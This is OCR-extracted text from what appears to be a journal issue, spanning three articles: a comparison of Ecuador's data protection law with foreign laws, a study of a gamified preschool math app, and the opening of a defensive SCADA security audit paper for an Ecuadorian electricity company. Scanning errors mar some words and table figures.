vida a la Ley Organica de Proteccion de Datos Personales del
Ecuador, la cual debe ubicarse en la funcion de control, conforme
lanormativa del Ecuador y a su vez, brindandole la independencia
que se requiere para supervisar y controlar tanto a las entidades
de caracter publico como a las del sector privado.

Un dato muy importante es el que se considero la eliminacion
del derecho al olvido, por lo que este derecho se lo tom6 como la
posibilidad de que los titulares puedan retornar de un estado de
datos personales publicados en cualquier medio como el internet,
y llevarlos a una especie como de estado de ocultacion plena y
retorno a la intimidad de dichos datos, todo esto con el objetivo
de guardar el honor y buen nombre del interesado.

Hacel4 afios atras en la region Sudamericana paises como
Ecuador, Brasil, Paraguay, y Colombia eran los tinicos que
no tenia ley de proteccion de datos, por lo tanto, en el caso de
Ecuador la normativa es nueva y aun se encuentra en fase de
construccion, por lo que hace falta el disefio de un reglamento
general, la gestion de una cultura de datos personales, y
por consiguiente una Autoridad de Proteccion de Datos
Personales.

En derivacion con lo investigado, y como se lo mencioné en
la recoleccion de informacion que, de todos los documentos
seleccionados se encontraban los que corresponden a leyes
o normativas que regulan la proteccion de datos personales.

La mayor parte de las normativas estan segmentadas a través
de capitulos a excepcion de la ley de Venezuela y la de Espafia
que se encuentran divididas por medio de titulos, siendo
que la que contempla mayor cantidad de capitulos es la de
Ecuador con un total de 12, seguida de la Union Europea y
Meéxico. Por otro lado, se logré evidenciar que, la ley con
mayor cantidad de articulos es la de la Union Europea con
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Tabla 3: Resultados generales de las leyes de proteccion de
datos personales
Fuente: Los autores

Leyes de proteccion de datos

Pais N° Capitulo-titulos N° articulos
Ecuador 12 capitulos 77
Argentina 7 capitulos 48
Venezuela 8 titulos 98
Espafia 10 titulos 97
Unidn Europea 11 capitulos 99
Panama 7 capitulos 47
Panama 4 capitulos 65
México 11 capitulos 69
Cuba 3 capitulos 62
Uruguay 9 capitulos 49

un total de 99, seguida de Espafia, Venezuela, y Ecuador
situandose en el 4 puesto de esta tabla con 77 articulos.

5. Discusion

De acuerdo con lo investigado y analizado en el (Reglamento de
la ley n® 29733 de los datos personales peruano, 2010, Articulo
3) menciona que los contenidos en bancos de datos personales
de la administracion publica y de administracion privada deberan
tratarse dentro del territorio nacional, son datos de proteccion
privados y muy sensibles, de la misma manera, dicho articulo
refiere que hay disposiciones que no pertenecen dentro de dicha
ley como: contenidos o relacionados con la vida privada o
familiar que pertenecen al banco de datos de la administracion
publica si el tratamiento no es necesario.

Porlo general en la (ley organica de proteccion de datos personales
ecuatoriana, 2021) el ambito de aplicacion se encuentra en el
articulo 2 y refiere que, en los ambitos de aplicacion material, el
tratamiento de los datos personales se aplicara en cualquier tipo
de soporte automatizado o no, de la misma manera también no
sera aplicable en lo siguiente: personas naturales que utilicen
estos datos en actividades familiares, datos anonimizados,
actividades periodisticas, datos personales que se encuentren
regulados en la jerarquia, materiales en gestion de riesgos,
defensas y seguridad, datos o bases de datos establecidos para
la prevencion, investigacion, infecciones penales o ejecucion de
sanciones penales y datos que identifican a personas juridicas.

Por otro lado, en continuidad con lo investigado y analizada en la
(Ley de Proteccion de los Datos Personales Argentina, 2000) en el

articulo 2 define los siguientes términos: datos personales, datos
sensibles, archivos, registros, base o banco de datos, tratamiento
de datos, responsable, titular de datos, datos informatizados y
usuario de datos, mientras que, en la (ley organica de proteccion
de datos personales ecuatoriana, 2021) en el articulo 4 del
capitulo 1 menciona algunos términos que establece esta ley de
los cuales algunos coinciden con la ley de datos de seguridad
de Argentina como: base de datos o fichero, datos personales
, datos sensibles, responsables, titular y tratamientos, ademas
esta ley tiene otros como Autoridad de Proteccion de Datos
Personales, Anonimizacion, Consentimiento, Dato biométrico,
Dato genético, Datos relativos, Delegado de proteccion de datos,
Destinatario, Encargado del tratamiento de datos personales,
Entidad Certificadora, Sellos de proteccion de datos personales,
Seudonimizacion, Transferencia o comunicacion, y Vulneracion
de la seguridad de los datos personales.

En el Consentimiento de la (Ley de Proteccion de los Datos
Personales Argentina, 2000, Articulo 5) aclara que, cuando el
tratamiento de los datos personales es ilicito y de como se debera
configurar el consentimiento prestados con otras declaraciones,
de la misma manera especifica cuando no sera necesario el
consentimiento. Por otro lado, tomado en cuanta la (ley organica
de proteccion de datos personales ecuatoriano, 2021, Articulo 8),
el consentimiento se encuentra en el capitulo 1 el cual especifica
cuando se podra tratar y comunicar los datos, cuando sera valido
y, cuando se podra revocar dicho consentimiento.

La Ley General de Proteccion de Datos Personales (Ley N.°
13.709/2018), de Brasil conocida también como LGPD; dichos
principios son los siguientes: finalidad, necesidad, adecuacion,
trasparecia, libre de acceso, calidad de datos, seguridad,
prevencion, no discriminacion, responsabilidad y presentacion
de cuentas. Tomando en cuenta la (ley orgénica de proteccion de
datos personales ecuatoriana, 2021) los principios se registran en
el articulo 10 los cuales algunos coinciden con la LGPD brasilefia,
dichos coincidentes son: finalidad, transparencia, calidad de
datos, seguridad, responsabilidad; y los no coincidentes son;
juridicidad, lealtad, transparencia, Pertinencia y minimizacion
de datos personales, Proporcionalidad del tratamiento,
Confidencialidad, Conservacion, Aplicacion favorable al titular,
e Independencia del control.

De acuerdo con (Fuentes, 2016) la ley organica de proteccion
de datos venezolana aclara que para realizar el tratamiento por
cuenta de terceros se debe obtener mediante un contrato donde
especifique con qué fin se realizara y, los datos con los cuales se
desea realizar. No se considera un acceso de tercero si es para
la prestacion de un servicio del responsable del tratamiento.
Por otro lado, refiriéndonos a la (ley organica de proteccion
de datos personales, 2021, Articulo 35) el acceso a datos por
terceros coincide con la ley de proteccion de datos de Venezuela,
a excepcion de las infracciones que tiene de mas esta ley, la cual
especifica que el tercero sera el responsable de las infracciones
derivada al incumplimiento del tratamiento de los datos.

(Fuentes, 2016) menciona en el Anteproyecto de Ley de
Proteccion de Datos que, la seguridad de los datos personales
la debe garantizar el responsable del tratamiento de datos, el
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cual debera mantener la confidencialidad y evitar adulteracion,
pérdida, consulta o tratamiento no deseados, de la misma
manera, no permitir registros en bases de datos inseguras; por
otro lado en la (ley orgénica de proteccion de datos personales
ecuatoriana, 2021, Articulo 37) coinciden en varios puntos con
la ley de proteccion de datos Venezolana, lo adicional de esta ley
es que el responsable de tratamiento debe implementar proceso
de diferentes indoles que permita mejorar la seguridad de los
datos y evidenciar que las medidas implementadas moderen de
forma adecuada los riesgos identificados, ademas existen otras
medidas como: Medidas de Anonimizacion, Seudonimizacion y
medidas de confiabilidad de la misma manera especifica que
dicho responsable podra acogerse a estandares internacionales
para una mejor seguridad de los datos.

Enlanormativadela(Ley Organica3/2018, de Proteccionde Datos
Personales Espafiola, articulo 38) menciona que las obligaciones
de los responsables son: determinar que los datos sean destruidos
cuando se finalice la presentacion del servicio del encargado. Los
responsables y encargados del tratamiento deberan designar un
delegado de proteccion de datos, el responsable o el encargado
de tratamiento deben comunicar en un periodo de 10 dias a la
agencia espafiola de la proteccion de datos las designaciones,
nombramientos y ceses de los delegados de proteccion de datos
y por ultimo mantener seguro los datos; de la misma manera
en lo analizado en la de la (ley organica de proteccion de datos
personales, 2021, Articulo 47) el representante estd obligado a
tratar datos personales en estricto apego, aplicar e implementar
requisitos y herramientas administrativas , aplicar e implementar
proceso de verificacion, efectuar politicas de proteccion,
utilizar metodologias de analisis y gestion de riesgos , realizar
evaluaciones, notificar a las autoridades de proteccion de datos y
al titular las violaciones y las seguridades implementadas para el
tratamiento, registrar y mantener actualizado el registro nacional
de proteccion de datos y designar el delegado de proteccion
de datos, de la misma manera el encargado tendra las misma
obligaciones que el responsable.

Por su parte también la (Ley Organica 3/2018, de Proteccion
de Datos Personales Espaiiola, articulo 38) menciona que, en el
codigo de conducta estan regulados de acuerdo al reglamento
(UE) 2016/679; dichos codigos son beneficiados de resolucion
extrajudicial de conflictos, ademas podran promoverse de
acuerdo a lo que se refiere el articulo 40.2 del reglamento (UE)
2016/679, asimismo podran ser promovidos para que asuman
las funciones del supervision y resolucion. Los responsables del
tratamiento que adhieran dichos codigos de conducta estaran
obligados a someter al organismo los reclamos que los afectados
formulen. La Agencia Espafiola de Proteccion de Datos las
autoridades autonomicas de proteccion de datos someteran La
Agencia Espafiola de Proteccion de Datos, por otro lado La
Agencia Espafiola de Proteccion de Datos y las autoridades
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autonomicas de proteccion mantendran registrado los codigos
que han sido aprobados y por ultimo se establece el contenido
del registro de aprobacion mediante real decreto; mientras que
en la (ley organica de proteccion de datos personales ecuatoriana,
2021, Articulo 53) especifica que la elaboracion de codigos de
conducta por sectores, industrias, empresas, organizaciones que
se atiendan al cumplimiento de las normativas las proveera. La
Autoridad de Regulacion y Control promovera, por lo tanto,
las necesidades especificadas de los sectores que se realicen
el tratamiento que son tomadas en cuenta por los codigos de
conductas. Ademas, se podran adherirse ¢ implementar los
codigos de conducta aprobados por los responsables o encargados
de tratamiento de datos personales interesados.

En Espafia la (Ley Organica 3/2018, de 5 de diciembre, de
Proteccion de Datos Personales, articulo 40) refiere sobre las
trasferencias internacionales de datos, para lo cual da a conocer
que los datos se regiran por lo dispuesto en el reglamento (UE)
2016/679 de la presente de la ley orgénica, y las normas de
desarrollos aprobadas por el gobierno, por ende, se aplicara a
los tratamientos de la propia transferencia las disposiciones
contenidas en dichas normas. Tomando en cuenta la (ley organica
de proteccion de datos personales, 2021, Articulo 56) se obtiene
que solo se le podran transferir o comunicar datos personales
a paises, organizaciones y personas juridicas en general que
mantenga el nivel alto de proteccion y que se acoplen a los
deberes y cumplimientos establecidos en la presente ley.

6.Conclusion

El Ecuador no cuenta con una autoridad de proteccion de datos
personales, por consiguiente, este tema se esta discutiendo para
el proceso de presentacion de las ternas correspondientes que
asumiran este cargo. Por lo que, la funcion que va a ejercer esta
autoridad serd la de supervisar, controlar, regular, y difundir el
tema de proteccion de datos personales. Por su parte, lo que
se tiene conocimiento, es que esta autoridad en el Ecuador va
a funcionar como una especie de superintendencia como fue el
caso de la superintendencia de control de poder del mercado,
esta a su vez, estard ubicada en la funcion de trasparencia y
control social, y su alcance estard determinado tanto para el
sector publico como el sector privado aplicando otras funciones
adicionales como la de sancionar, regular, atender consultas, y
administrar registros.

Otra conclusion importante sobre esta ley es que es una medida
necesaria para proteger los derechos fundamentales de privacidad
y autonomia personal en la era digital. El manejo irresponsable
de datos personales puede tener graves consecuencias para la
privacidad y seguridad de los individuos, mientras tanto, la Ley
de Proteccion de Datos Personales del Ecuador busca prevenir
estas situaciones. Sin embargo, la implementacion efectiva de la
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ley es clave para su éxito. Es necesario que las organizaciones
y entidades gubernamentales comprendan y cumplan con las
disposiciones de la ley, y que los ciudadanos estén informados
y ejerzan sus derechos en relacion con sus datos personales.
Ademds, se requiere una supervision adecuada para garantizar
que laley se cumpla y para tomar medidas en caso de violaciones.

La Ley de Proteccion de Datos Personales del Ecuador esta
considerada como una de las normas mas completas a nivel latino
americano, para su disefio se sustenta bajo el estandar de normas
internacionales como la de la Union Europea que es un marco
legal referente en este tema de tratamiento y proteccion de datos,
por su parte, la normativa ecuatoriana el capitulo 2 que desglosa
una serie de principios, estos también se encuentran enmarcados
bajo los principios generales de la ONU.
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Resumen

Las aplicaciones moviles y las Tecnologias de la Informacion y
Comunicacion (TIC) son herramientas ampliamente utilizadas en
diversos sectores como el empresarial, salud y educacion, en este tltimo,
las aplicaciones moéviles poseen un rol importante para los métodos de
ensefanza-aprendizaje. En el Ecuador en 2021, se registrd bajo niveles
de conocimientos adquiridos en el enfoque logico-matematico en
estudiantes de 3 a 10 afos, por lo que, se requiere innovar en métodos
de ensefianza-aprendizaje eficaces para estudiantes a nivel preescolar. El
objetivo del estudio fue evaluar a estudiantes de nivel preescolar mediante
una aplicacion moévil disenada en base a técnicas de gamificacion para
el mejoramiento de destrezas logico-matematicas. Para este estudio, se
evaluo los objetivos de aprendizaje estandarizados por el Ministerio de
Educacion del Ecuador (MINEDUC). En los resultados obtenidos, se
determinod que un grupo de estudiantes se encuentra en una etapa de inicio
para adquirir destrezas para lograr el conocimiento y otro en proceso
de adquirir conocimientos. Se concluye que la gamificacion es una
alternativa para el mejoramiento de métodos de ensenanza-aprendizaje
y un mecanismo Optimo para la aplicacion de esta son los dispositivos
moviles y las TIC.

Palabras clave: Gamificacion, estudiantes, aplicacion movil, destrezas.

Abstract

Mobile applications and Information and Communication Technologies
(ICT) are widely used tools in various sectors such as business, health,
and education, in the latter, mobile applications have an important role
for teaching-learning methods. In Ecuador in 2021, there were low levels
of acquired knowledge in the logical-mathematical approach in students
from 3 to 10 years old, so it is required to innovate in effective teaching-
learning methods for students at preschool level. The objective of the
study was to evaluate preschool students through a mobile application
designed based on gamification techniques for the improvement of logical-
mathematical skills. For this study, the learning objectives standardized
by the Ministry of Education of Ecuador (MINEDUC) were evaluated.
In the results obtained, it was determined that a group of students is in
a beginning stage to acquire skills to achieve knowledge and another in
the process of acquiring knowledge. It is concluded that gamification is
an alternative for the improvement of teaching-learning methods and an
optimal mechanism for its application are mobile devices and ICT.

Keywords: Gamification, students, mobile app, skills.
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1. Introduction

Mobile devices are all elements of small size with multiple
processing capabilities, memory, and internet connection, they
are designed for specific functions and their main feature is
mobility. Operating systems are those sets of low-level programs
that allow the abstraction of the properties of the specific
hardware of the mobile device and provide services to the mobile
applications running on it (Carpenter et al., 2021; Pérez Tamayo,
2022).

According to (John Lemay et al., 2021) 44 % of users prefer the
use of Android, 53 % use i0S, and barely 3 % use other operating
systems. In Europe, 91,20 % use Android, while 8.30 % use i0OS
and only 0,50 % use other operating systems. The technological
revolution, currently, has allowed the use of mobile devices
in education to be of relevance for the improvement of skills
and knowledge, similar results are reported in Latin America,
considering the use of different operating systems (Childers et
al., 2023).

M-Learning is defined as the educational modality that facilitates
the construction of knowledge and development of skills
autonomously through the Internet. For the development of
mobile applications for educational purposes, using gamification,
the following factors are considered: permissions, licenses,
consents, minors, user rights, functionalities, terms of use,
information, and advertising (Karchner et al., 2022).

Gamification is defined as a learning technique that focuses
on game mechanics that can be applied in the educational-
professional environment (Grabner-Hagen & Kingsley, 2023;
McHenry & Makarius, 2023; Murillo-Zamorano et al., 2023;
Ogunyemi et al., 2022; Orhan Goksiin & Giirsoy, 2019; Sanchez
et al., 2020; Schobel et al., 2021). The theoretical foundation
of gamification is based on the motivation towards individuals
as this can be regulated by external factors, this is because a
behavior is influenced by recognition, accumulation of goods
or the allocation of rewards. Motivation allows the analysis of
behavioral variables in response to specific stimuli (Menon,
2022).

Gamification can be represented as a pyramid scheme like
Werbach model. As shown in Figure 1, at the base of both schemes,
medals, avatars, points, and levels are proposed as elements. In
the second level, the mechanical elements are detailed, where
challenges, cooperation and rewards are established. The last
level describes the processing of mechanical elements such as
dynamics that promote emotional stimulation (Gaviria, 2021).

Grammatically, gamification is referred to as ludification, since
according to the RAE, the term “gamification” is considered an
anglicism and neologism. However, gamification is based on the
elements of a motivational system while gamification focuses

Informatica y Sistemas
Revista de Tecnologias de la Informatica y las Comunicaciones

Figure 1. Werbach scheme obtained from (Gaviria, 2021).

on the contents of the system. In the educational context,
gamification is a frequently used tool due to the massification
of computing devices and the development of interactive and
graphic situations for entertainment using information and
communication technologies (Pynnonen et al., 2022).

As detailed in this context, playfulness is the basis of
gamification in an educational process, however, gamification
must be justified why it is required to incorporate certain
disaggregated activities. Currently, the state of the art in
reference to the application of gamification techniques in
the ludic-educational field is extensive at different levels of
education. However, there is little information regarding the
use of gamification at the preschool level (Zainuddin et al.,
2020).

According to (Marcillo et al., 2023) there is a significant
increase in the number of research on gamification considering
from 2014 to 2019. Also, these researches on these techniques
are mostly in Asian countries than in American and European
countries, mainly seeking to improve student learning, social
skills and motivation in individuals based on technological
tools. In Ecuador, education still presents methodologies that
do not relate communication and entertainment. Gamification
is an alternative that can allow to establish new discoveries, new
ideas, learning that are designed by meaningful experiences for
personal and intellectual development.

The objective of this study was to evaluate logical-mathematical
skills through a mobile application designed by gamification
techniques. Furthermore, the present study is subdivided into
materials and methods where the experimental design is detailed,
followed by the results and conclusions, and finally annexes that
support the study methodology.
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2. Methodology
2.1. Population and sample size

Within this study, two heterogeneous groups (study groups) were
determined, which are part of the preschool education level,
coastal regime of Ecuador in the province of Santo Domingo.
The groups were divided by age, the first group being students
from 3 to 4 years old (n = 158) corresponding to the first level
of preschool education and the second group, students from 4
to 5 years old corresponding to the second level of preschool
education (n = 143).

2.2. Gamification

The gamification process was developed using the mobile
application PREESCOLAR MONTESSORI ® copyrighted
by EDOKI ACADEMY designed in the year 2021, the mobile
application in question was used for educational purposes, not
commercial. The mobile application was designed by certified
teachers in the Montessori method, this application is focused
on students from 3 to 7 years old who can acquire knowledge
related to logical-mathematical skills, art, practical life, and early
literacy.

2.3. Standardization of logical-mathematical skills assess-
ment

For the evaluation of the improvement of logical-mathematical
skills, the parameters for the evaluation of learning objectives
established by the Ministry of Education of Ecuador in the
year 2021 were taken into consideration. The parameters to
be considered are detailed in Annex A, where the topics that
contemplate logical-mathematical skills in preschool students
are detailed (MINEDUC, 2014).

2.4. Statistical analysis

A completely randomized bifactorial design (A x B) was
proposed considering the following factors: Factor A: Study
groups and Factor B: Learning objectives. For this study, 2
replicates (number of attempts) were considered; the total
number of experimental units was 28. Table 1 shows the table of
treatments to be evaluated in the study.

Table 1. Treatment scheme for the bifactor analysis.
Source: Authors.

Factors of study Levels

Factor A: Study groups AO0: Group A (Students from 3 to 4 years old)
Al: Group B (Students from 4 to 5 years old)

Factor B: Learning objectives BO: Objective 1

B1: Objective 2
B2: Objective 3
B3: Objective 4
B4: Objective 5
B5: Objective 6
B6: Objective 7

In this study, the average evaluation obtained from each student
was determined as the dependent variable. For the grading
scale, a quantitative range of 5,00 to 10,00 was established,
considering the grading scale for preschool education approved
by the Ministry of Education of Ecuador in 2014, in Table 2, the
mentioned grading scale is detailed. For the statistical analysis,

an analysis of variance was performed and for significance tests,
the LSD Fisher test was applied considering a confidence level
of 95 %.

Table 2. Grading scale in Initial Education established by

Source: (MINEDUC, 2014).
Scale Meaning Process characteristics
5,00 10 6,99 Start Thg student is initiating !he develppmem of skills that will enable him/her to
achieve the learning or evidences difficulties.
7,00 to 8,99 In process  The student is in the process of achieving prior learning.
9,00 to 10,00 Available The student achieves the acquired learning.

3. Results
3.1. Analysis of variance

According to the results obtained, a significant difference
was observed in the evaluation averages of the study groups;
however, no significant difference was observed in the learning
objectives evaluated, nor was a significant difference observed
in the bifactor interaction and the replications of the study, as
shown in Table 3.

Table 3. Analysis of variance of the average evaluation
obtained.
Source: Authors.

Sum of . Mean

Source of variation Df F-Ratio p-value
squares squares
Study groups 11,843 1 11,843 6.25 0.0266
Learning objectives 8,91944 6 1,48657 0,78 0,5972
Number of attempts 0,04088 1 0,04088 0,02 0,8855
Study groups * Learning objectives 797587 6 132931 0,70 0,6539
Residuals 24,6369 13 1,89514
Total 53.4161 27

3.2. Significance test

For factor A, independent groups were observed, in which group
1 obtained a higher average evaluation score compared to group
2, as shown in Figure 2.

Figure 2. Box plot for factor A: Study groups A and B.

For factor B, an independent group was observed, that is, the
evaluation averages obtained for each learning objective
evaluated are statistically similar; however, the learning objective
where the highest average score was determined was learning
objective 1, as shown in Figure 3.

For the bifactor interaction, 3 homologous groups were obtained
as a result, according to the LSD Fisher test, the interaction
of group 1 evaluating objective 2 presents a higher average
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Figure 3. Box plot for factor A: Study groups A and B:
Learning objectives assessed.

compared to the other bifactor interactions, as shown in Figure 4.

Figure 4. Bifactor interaction plot, study groups by learning
objectives assessed.

3.3. Analysis of results

According to the study groups, it was observed that they present
a significant difference in the average evaluation obtained, that
is, group A is at the beginning of acquiring skills that allow it to
acquire the required learning, while group B is in the process of
acquiring the required learning, these results are supported by
several factors, one of them is the lack of use of gamification
techniques for the purpose of gamification of learning in
preschool students.

According to (Marcillo et al., 2023) in its literature review on the
state of the art of gamification in educational processes, it states
that of a sample size (studies analyzed, n = 1553) in Ecuador
no experimental studies have been reported on the use of
gamification for the improvement of logical-mathematical skills,
unlike Colombia, Mexico, Spain and Brazil, this corroborates the
results obtained, since being a new gamification technique in a
learning development already established as in Ecuador, it can
influence the academic performance of students (MINEDUC,
2022).

At the preschool level, there are various teaching-learning
methods, in Ecuador, through the “National Plan Learning on
Time” developed by the Ministry of Education of Ecuador in
2021, states that learning is based on love, security, trust and
quality attention, it also states that gamification improves their
coordination, assimilation of notions of time and space for a

% Informatica y Sistemas
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better interneural network (MINEDUC, 2022).

On the other hand, according to the learning objectives evaluated,
no significant difference was obtained in the averages obtained;
however, in objectives 4 and 5, the students are in a beginning
stage of acquiring skills to acquire knowledge, while in the
other objectives, the students are in the process of acquiring the
required knowledge (Arufe-Giraldez et al., 2022; Chen et al.,,
2020; Sanchez et al., 2020; Zainuddin et al., 2020).

According to (Blundell et al., 2022; Grabner-Hagen & Kingsley,
2023; MINEDUC, 2022; Ogunyemi et al., 2022) it is worth
noting that of the articles published on gamification, only
20% are experimental research and 80% are narrative, non-
experimental, explanatory, or exploratory, which indicates that
it is an open field for research and improvement of teaching-
learning methodologies. According to the World Bank, 62.8 %
of basic general students have not reached the minimum reading
skill, in the PISA-D evaluation. In 2019, Ecuador reported that
54 % of students do not have the minimum knowledge in reading
and 71 % in mathematical knowledge (Arufe-Giraldez et al.,
2022; Chen et al., 2020; Marcillo et al., 2023; Zainuddin et al.,
2020).

This corroborates the results obtained in the interaction study
groups and learning objectives evaluated since group A in
objective 3, 4 and 7, obtained a score of beginning learning,
however, in objectives 1, 2 and 5 they obtained a score in process.
On the other hand, the group of students B, in objective 5,
obtained an initial qualification while in objectives 3, 4, 6 and 7,
they obtained a qualification in process and in objectives 1 and 2
they reached the acquired knowledge. These results demonstrate
the lack of innovation in the current educational development
methods in Ecuador, for which gamification is an alternative.

4. Conclusions

It is concluded that student group A is at the beginning of acqui-
ring knowledge skills, while group B is in the process of acqui-
ring knowledge skills regarding mathematical logic. As for the
learning assessment objectives, in objectives 4 and 5 the students
are in the beginning of acquiring knowledge skills in mathemati-
cal logic, while in the rest of the objectives assessed, the students
are in the process of acquiring knowledge skills. In the study
replications (number of evaluation attempts), no significant di-
fference was observed; therefore, there is normality in the data
collection.

Gamification is a tool that allows improving teaching-learning
techniques at any level of studies, however, it should be eva-
luated with greater emphasis for the purpose of gamification of
knowledge at preschool level due to the low results in knowledge
tests of students in Ecuador according to bibliographic referen-
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CeEs.

Mobile applications play an important role since they are the ga-
mification mechanism through which the student interacts; the-
refore, curricular designs for education should be based on ga-
mification of the challenge type so that the student is motivated
to obtain a result. ICT are also of great help for the gamification
of knowledge, considering the new learning methods of the new
generations and the massification of information.
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Learning Objectives

Skills from 3 to 4 years old

Skills from 4 to 5 years old

Objective 1. Identify basic
temporal notions for their location
in time and the structuring of
logical sequences that facilitate the
development of thought.

Order a logical sequence of up to three events.

Identify characteristics of day and night.

Identify notions of time in actions that happen
before and now.

Order in logical sequence of events up to five
events.

Identify characteristics of morning, afternoon,
and evening.

Identify notions of time in actions that happen
before, now, and after.

Objective 2. Manage basic spatial
notions for the proper location of
objects and their interaction with
them.

Recognize the location of objects in relation
to self-according to spatial notions of
up/down, next to, inside/outside, near/far.

Recognize the location of objects in relation to
self and different points of reference, according
to the spatial notions of between, front/back,
next to, near/far.

Objective 3. ldentify the basic
notions of measurement in objects
establishing comparisons between
them.

Identify in objects, the notions of average:
high/low, fish/light.

Identify in objects the notions of measurement:
long/short, thick/thin.

Objective 4. Discriminate shapes
and colors developing their
perceptual ability to understand
their environment.

Identify objects of similar shapes in the
environment.

Discover  basic circular, triangular,
rectangular, and quadrangular shapes in
environmental objects.

Recognize primary colors, black and white in
objects and images in the environment.

Associate the shapes of environmental objects
with two-dimensional geometric figures.
Identify basic geometric shapes such as circles,
squares and triangles in environmental objects
and graphic representations.

Recognize secondary colors in environmental
objects and images.

Objective 5. To understand basic
notions of quantity facilitating the
development of thinking skills for
the solution of simple problems.

Count orally from 1 to 10 in numerical
sequence, most of the time.

Differentiate between collections of more and
fewer objects.

Understand the number-quantity relationship
up to 5.

Recognize and compare objects according to
their size (big/small).

Classify objects with an attribute (size, shape,
or color).

Imitate simple patterns with elements of their
environment.

Count orally from 1 to 15 in numerical
sequence.

Compare and assemble collections of more,
equal, and fewer objects.

Understand the number-quantity relationship up
to 10.

Sequentially compare and sort a small set of
objects according to size.

Sort objects with two attributes (size, color,
shape).

Continue and reproduce simple patterns with
concrete objects and graphic representations.

Objective 6. To aurally
discriminate ~ the = phonemes
(sounds) that make up their native
language to lay the foundations for
the future reading process.

Repeat rhymes by identifying sounds that
sound alike.

Identify "aurally" the initial phoneme (sound)
of their name.

Produce words that rhyme spontaneously
considering the final sounds of the words.

Identify "aurally" the initial phoneme (sound) of
the most frequently used words.

Learning Objectives

Skills from 3 to 4 years old

Skills from 4 to 5 years old

Objective 7. To wuse graphic
language as a means of
communication and  written
expression to lay the foundations
for the processes of writing and
producing texts in a creative way.

Informatica y Sistemas

Communicate through drawings of objects in
the environment with some detail that makes
it identifiable as a symbolic representation of
their ideas.

Communicate in written form their ideas
through controlled scribbles, lines, or circles.

Communicate through drawings of objects with
details that make them identifiable, as a
symbolic representation of their ideas.

Communicate ideas in writing by trying to
imitate letters or letter-like shapes.
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Resumen

La transformacion tecnolégica que ha experimentado la sociedad ha generado
un incremento de los ciberataques a nivel mundial, poniendo en riesgo a
todos los sectores sociales y productivos de la sociedad que hacen uso de las
tecnologias de la informacion, entre ellos el sector eléctrico, donde se utilizan
con frecuencia sistemas de Control Supervisorio y Adquisicion de Datos
(SCADA). En Ecuador, el sector eléctrico es considerado un sector estratégico
para el desarrollo del pais y es administrado por la Corporacién Nacional de
Electricidad (CNEL EP). En este trabajo se evalta la seguridad en el area
SCADA de CNEL EP en la Unidad de Negocio Manabi aplicando el Manual
de Metodologia de Pruebas de Seguridad de Cddigo Abierto (OSSTMM)
y utilizando el simulador OPNET. Se seleccionaron las subestaciones mas
importantes pertenecientes al drea SCADA y se realizéd una auditoria de
acuerdo a la metodologia para determinar el estado actual de la seguridad
¢ identificar posibles vulnerabilidades. A su vez, con las vulnerabilidades
identificadas, se disefiaron dos escenarios simulados de forma simplificada
utilizando la herramienta OPNET para establecer el impacto de la explotacion
de una de estas vulnerabilidades en el funcionamiento de los servicios del
area SCADA. Tras la obtencion de los resultados, se concluyo que el nivel
de seguridad del area SCADA es alto, aunque se identifico la existencia de
interacciones no controladas en las operaciones que es necesario abordar,
dado que, segtn los resultados obtenidos, la explotacion de estas interacciones
podria afectar significativamente al funcionamiento del area SCADA.

Palabras clave: SCADA; Redes; CNEL; OSSTMM; OPNET.
Abstract

The technological transformation that society has undergone has generated an
increase in global cyber attacks, putting at risk all social and productive sectors
of society that make use of information technologies, including the electric
sector, where Supervisory Control and Data Acquisition (SCADA) systems
are often used. In Ecuador, the electric sector is considered a strategic sector
for the country’s development and is managed by the Corporacion Nacional
de Electricidad (CNEL EP). This paper evaluates the security in the SCADA
area of CNEL EP in the Manabi Business Unit by applying the Open Source
Security Testing Methodology Manual (OSSTMM) and using the OPNET
simulator. The most important substations belonging to the SCADA area
were selected, and an audit was carried out according to the methodology to
determine the current state of security and identify possible vulnerabilities.
In turn, with the identified vulnerabilities, two simulated scenarios were
designed in a simplified manner using the OPNET tool to establish the impact
of exploiting one of these vulnerabilities on the operation of the SCADA
area services. After obtaining the results, it was concluded that the level of
security in the SCADA area is high, although the existence of uncontrolled
interactions in operations was identified and needs to be addressed, given that
according to the results obtained, the exploitation of these interactions could
significantly affect the functioning of the SCADA area.

Keywords: SCADA; Networks; CNEL; OSSTMM; OPNET.
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1. Introduccion

La Corporacion Nacional de Electricidad (CNEL EP) es una
empresa publica que fue creael 13 de marzo de 2013 cuyo objetivo
es prestar servicios publicos de distribucion y comercializacion
de energia eléctrica en el Ecuador (CNEL EP, 2022). A su vez,
la CNEL EP tiene varias unidades de negocios a través de todo
el territorio nacional, siendo la Unidad de Negocios Manabi
la encargada de la distribucion y comercializacion de energia
eléctrica dentro de la provincia (CNEL EP, 2022).

Ademds, esta empresa tiene una fuerte relevancia para el
Estado ecuatoriano dado que administra el sector eléctrico; un
sector considerado estratégico de acuerdo con la Constitucion
de la Republica del Ecuador (CRE) lo que implica que “su
trascendencia y magnitud tienen decisiva influencia econdmica,
social, politica o ambiental” para el pais (Asamblea Nacional

Constituyente, 2008),

Esta particularidad le da a la infraestructura que administra la
CNEL EP la connotacion de infraestructura critica, por cual es
de vital importancia determinar posibles amenazas que pueden
afectar su normal funcionamiento. Por otro lado, hay que
considerar también los procesos de transformacion tecnoldgica
presente hoy por hoy en la sociedad y todos los nuevos retos en
ciberseguridad que esto conlleva (Andrade y Yoo, 2019); en donde
el sector eléctrico no queda excluido, dado el uso de sistemas
informaticos para el control y monitoreo de la infraestructura
como los Sistemas de Supervision, Control y Adquisicion de
Datos (SCADA), que no es mas que un conjunto de programas,
los cuales dan acceso a datos remotos de un proceso mediante
la utilizacion de herramientas adecuadas (Rodriguez Penin,
2007); que en el caso de CNEL EP son los datos de la red de
infraestructura eléctrica nacional.

A esto se le suma, la realidad existente en temas de ciberseguridad
en América Latina y el Caribe, en donde en el 2020 existié un
incremento del 57% de incidentes de ciberseguridad con respecto
al afio 2017 y 2018, y el triple de incidentes con respecto al afio
2019 y en donde el Ecuador consta entre los paises con mayor
cantidad de ciberataques (Diaz, 2021).

Esta realidad acarrea algin grado desconfianza por parte de la
ciudadania y, ademas pérdidas econémicas en las Instituciones
dado a la ausencia de mecanismos de control para la proteccion de
la informacion y de los sistemas informaticos (Pazmifio Vallejo,
2015). De ahi que en la sociedad digitalizada en la que se vive,
son necesarios mecanismos que salvaguarden la informacion que
manejan las empresas, los gobiernos y las personas evitando de
esta manera ser blancos faciles de espionaje, delitos u otros tipos
de ataques que vulneren la integridad institucional y personal
(Gamboa Suarez, 2020).

Por esto, la importancia de la seguridad informatica radica
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en establecer estrategias y métodos para la proteccion de los
